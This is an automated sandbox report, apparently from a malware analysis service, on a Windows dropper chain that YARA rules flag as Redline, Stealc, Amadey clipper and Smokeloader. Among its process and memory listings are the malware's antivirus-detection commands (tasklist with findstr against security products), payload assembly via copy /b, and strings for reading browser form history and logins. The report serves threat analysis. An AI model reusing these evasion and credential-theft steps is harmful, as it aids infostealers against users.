Source: 45.2.I0XmI2t.exe.2b50dcfe590.2.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0000002C.00000002.3910873060.0000000000D30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll, type: DROPPED	Matched rule: Finds Amadey\'s clipper plugin based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe, type: DROPPED	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
Source: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe, type: DROPPED	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, type: DROPPED	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED	Matched rule: Finds Amadey\'s clipper plugin based on characteristic strings Author: Sekoia.io

PE file contains section with special chars

Source: fkawMJ7FH8.exe	Static PE information: section name:
Source: fkawMJ7FH8.exe	Static PE information: section name: .idata
Source: fkawMJ7FH8.exe	Static PE information: section name:
Source: axplong.exe.1.dr	Static PE information: section name:
Source: axplong.exe.1.dr	Static PE information: section name: .idata
Source: axplong.exe.1.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: 24adfe999c.exe.4.dr	Static PE information: section name:
Source: 24adfe999c.exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: .idata
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name:
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: random[1].exe1.4.dr	Static PE information: section name: .idata
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: ba327bb7fd.exe.4.dr	Static PE information: section name:
Source: ba327bb7fd.exe.4.dr	Static PE information: section name: .idata
Source: ba327bb7fd.exe.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name: .idata
Source: random[1].exe2.4.dr	Static PE information: section name:
Source: 530c1fe82f.exe.4.dr	Static PE information: section name:
Source: 530c1fe82f.exe.4.dr	Static PE information: section name: .idata
Source: 530c1fe82f.exe.4.dr	Static PE information: section name:
Source: skotes.exe.30.dr	Static PE information: section name:
Source: skotes.exe.30.dr	Static PE information: section name: .idata
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: random[2].exe1.41.dr	Static PE information: section name:
Source: random[2].exe1.41.dr	Static PE information: section name: .idata
Source: random[2].exe1.41.dr	Static PE information: section name:
Source: 7385f65012.exe.41.dr	Static PE information: section name:
Source: 7385f65012.exe.41.dr	Static PE information: section name: .idata
Source: 7385f65012.exe.41.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	File created: C:\Windows\Tasks\axplong.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File created: C:\Windows\Tasks\defnur.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\KrugerPowers
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\GradVitamins
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\ScienceCom
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\FarmingDesignation
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\OmissionsEmerald
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\BaconTicket
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\RenewableProgramme
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	File created: C:\Windows\SodiumLegend
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_0053E440	4_2_0053E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00573068	4_2_00573068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00534CF0	4_2_00534CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00567D83	4_2_00567D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_0057765B	4_2_0057765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00534AF0	4_2_00534AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_0057777B	4_2_0057777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00576F09	4_2_00576F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00578720	4_2_00578720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00572BD0	4_2_00572BD0
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_00931000	8_2_00931000
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_00934C8C	8_2_00934C8C
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_00946F3A	8_2_00946F3A
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_001261F0	10_2_001261F0
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00166014	10_2_00166014
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0015D089	10_2_0015D089
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_001251A0	10_2_001251A0
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00164267	10_2_00164267
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00125450	10_2_00125450
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0014B6E0	10_2_0014B6E0
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0015C8FD	10_2_0015C8FD
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0014F8FB	10_2_0014F8FB
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00161AF7	10_2_00161AF7
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00152E40	10_2_00152E40
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00165EF4	10_2_00165EF4
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00124EF0	10_2_00124EF0
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_0078B4C0	11_2_0078B4C0
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007C6014	11_2_007C6014
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007BD089	11_2_007BD089
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007861F0	11_2_007861F0
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007851A0	11_2_007851A0
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007C4267	11_2_007C4267
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_00785450	11_2_00785450
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007AB6E0	11_2_007AB6E0
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007AF8FB	11_2_007AF8FB
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007BC8FD	11_2_007BC8FD
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007C1AF7	11_2_007C1AF7
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007B2E40	11_2_007B2E40
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007C5EF4	11_2_007C5EF4
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_00784EF0	11_2_00784EF0

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: String function: 00144170 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: String function: 0014A790 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: String function: 007AA790 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: String function: 007A4170 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: String function: 00935190 appears 46 times

Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 1396

Source: freebl3[1].dll.31.dr	Static PE information: No import functions for PE file found
Source: freebl3.dll.31.dr	Static PE information: No import functions for PE file found

Source: freebl3[1].dll.31.dr	Static PE information: Data appended to the last section found
Source: freebl3.dll.31.dr	Static PE information: Data appended to the last section found

Source: fkawMJ7FH8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 45.2.I0XmI2t.exe.2b50dcd6568.1.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 45.2.I0XmI2t.exe.2b50dcd6568.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 23.0.daw21.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 45.2.I0XmI2t.exe.2b50dcfe590.2.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 23.2.daw21.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: 45.2.I0XmI2t.exe.2b50dcfe590.2.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0000002C.00000002.3910873060.0000000000D30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll, type: DROPPED	Matched rule: loader_amadey_clipper_plugin author = Sekoia.io, description = Finds Amadey\'s clipper plugin based on characteristic strings, creation_date = 2023-05-16, classification = TLP:CLEAR, version = 1.0, id = 487b6657-8834-45ee-8fd4-03df9c0dd7be
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe, type: DROPPED	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe, type: DROPPED	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, type: DROPPED	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED	Matched rule: loader_amadey_clipper_plugin author = Sekoia.io, description = Finds Amadey\'s clipper plugin based on characteristic strings, creation_date = 2023-05-16, classification = TLP:CLEAR, version = 1.0, id = 487b6657-8834-45ee-8fd4-03df9c0dd7be

Source: Y-Cleaner.exe.32.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].32.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fkawMJ7FH8.exe	Static PE information: Section: ZLIB complexity 0.9975359758174387
Source: fkawMJ7FH8.exe	Static PE information: Section: snrlvfpm ZLIB complexity 0.9942988588270859
Source: axplong.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9975359758174387
Source: axplong.exe.1.dr	Static PE information: Section: snrlvfpm ZLIB complexity 0.9942988588270859
Source: goldddd123[1].exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: goldddd123[1].exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: goldddd123.exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: goldddd123.exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: legs[1].exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: legs[1].exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: legs.exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: legs.exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.4.dr	Static PE information: Section: iyuktxhn ZLIB complexity 0.989788812891908
Source: ba327bb7fd.exe.4.dr	Static PE information: Section: iyuktxhn ZLIB complexity 0.989788812891908
Source: random[1].exe2.4.dr	Static PE information: Section: xxuhznbt ZLIB complexity 0.994595043344519
Source: 530c1fe82f.exe.4.dr	Static PE information: Section: xxuhznbt ZLIB complexity 0.994595043344519
Source: mdjw5me[1].exe.41.dr	Static PE information: Section: .bss ZLIB complexity 1.0003326570404723
Source: mdjw5me.exe.41.dr	Static PE information: Section: .bss ZLIB complexity 1.0003326570404723
Source: random[2].exe0.41.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe0.41.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: c12f8f2854.exe.41.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: c12f8f2854.exe.41.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe1.41.dr	Static PE information: Section: ZLIB complexity 0.997464950770548
Source: random[2].exe1.41.dr	Static PE information: Section: aseoxclk ZLIB complexity 0.9949617656389967
Source: 7385f65012.exe.41.dr	Static PE information: Section: ZLIB complexity 0.997464950770548
Source: 7385f65012.exe.41.dr	Static PE information: Section: aseoxclk ZLIB complexity 0.9949617656389967

Source: random[1].exe2.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 530c1fe82f.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/100@33/16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\legs[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2748:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess988
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4680:120:WilError_03

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com

System information queried: HandleInformation

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main

Source: daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT fieldname, value FROM moz_formhistory;
Source: tasklist.exe, 00000013.00000003.2139182067.0000000002B6F000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2139468306.0000000002B7C000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2140376820.0000000002B7D000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2139046911.0000000002B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process;C??
Source: legs.exe, 0000000C.00000003.2041076836.0000000002E68000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2014918018.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2041768379.0000000002EF2000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013819172.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3698184604.0000000001748000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3696342375.0000000001765000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3812010124.00000000054AC000.00000004.00000020.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3692895891.00000000054B8000.00000004.00000020.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3668883149.0000000000E03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: fkawMJ7FH8.exe

ReversingLabs: Detection: 55%

Source: fkawMJ7FH8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: am209.exe	String found in binary or memory: " /add /y
Source: am209.exe	String found in binary or memory: " /add
Source: defnur.exe	String found in binary or memory: " /add
Source: defnur.exe	String found in binary or memory: " /add /y

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

File read: C:\Users\user\Desktop\fkawMJ7FH8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fkawMJ7FH8.exe "C:\Users\user\Desktop\fkawMJ7FH8.exe"
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe "C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe"
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe "C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 370821
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Anchor" Veterinary
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\370821\Sale.com Sale.com w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"
